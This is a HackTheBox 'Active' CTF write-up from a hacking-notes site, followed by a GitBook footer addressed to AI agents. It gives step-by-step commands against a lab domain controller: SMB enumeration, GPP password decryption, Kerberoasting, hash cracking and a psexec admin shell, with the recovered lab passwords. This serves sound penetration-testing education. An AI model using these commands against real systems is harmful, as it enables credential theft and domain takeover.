> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md). # Active HackTheBox Writeup Active HackTheBox Easy Windows machine writeup covering SMB Enumeration, Cracking ZIP Password Protected File (fcrackzip), Cracking and reading .PFX File (crackpkcs12), Gaining SSL access with Evil-Wi {% embed url="" %} {% hint style="warning" %} **Skills**: * SMB Enumeration * Cracking ZIP Password Protected File (fcrackzip) * Cracking and reading .PFX File (crackpkcs12) * Gaining SSL access with Evil-WinRM * Information Leakage - Reading the user's Powershell history (User Pivoting) * Abusing LAPS to get passwords (Get-LAPSPasswords.ps1) (Privilege Escalation) {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:**/ Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts ```

**Analysis of open ports with extractport:**/ Using the extractport function to in a concise format display open ports and copy them to the clipboard.

**Port Version Scan with Nmap :**/ Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted ```

## **Enumeration et Exploitation :** ### **Enumeration SMB:** Use crackmapexec to list systems and find the domain name. ```bash crackmapexec smb 10.10.10.100 ```

#### **Time adjustment with NTP:** Adjust the target machine time to avoid problems ```bash ntpdate 10.10.10.100 ```

#### Configuration /etc/hosts: Added Domain Controller to hosts file to allow ping:

### **Listing Shared Resources** Use smbclient or smbmap to explore shared resources on the network. ```bash smbclient -L 10.10.10.100 -N ```

```bash smbmap -H 10.10.10.100 ```

### **Search for Specific Files**: Explore directories looking for relevant files ```bash smbmap -H 10.10.10.100 -r Replication ```

```bash smbmap -H 10.10.10.100 -r Replication/active.htb ```

The `groups.xml` file is identified which may contain confidential information. ```bash smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml ```

### **Password decryption:** Use `gpp-decrypt` to decrypt stored passwords. ```bash gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' ```

### **Identifier validation:** Use crackmapexec to check if IDs are valid ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' ```

### **Exploration of Permissions:** Use crackmapexec and smbmap to explore permissions on network sharing. ```bash crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares ```

### user.txt Flag Obtained: ```bash smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users ```

### **Login to the Domain Controller:** Using rpcclient to connect to the Domain Controller and explore users and groups: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 ```

#### - To identify the admin group members: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200' ``` #### - To get users in a specific group: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4' ```

#### - To list the descriptions of all users: ```bash rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo' ```

## Vulnerability [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast): Kerberoast vulnerability is successfully exploited through the following command: ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 ``` This command recovers a Grant-Ticketing Service (TGS) service ticket that exploits the vulnerability. Then, to get an administrator hash, the -request parameter is added to the command: ```bash GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request ```

## **Final Exploitation:** ### **Hash Cracking:** Use John to try cracking the obtained hashes. ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

### **Identifier validation:** Use crackmapexec to validate the credentials obtained ```bash crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968' ```

### **Psexec execution:** Use psexec.py to obtain an interactive shell as administrator. ```bash psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe ```

### **Final Flag Obtained:** Successfully getting the final flag once the administrator access is acquired.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.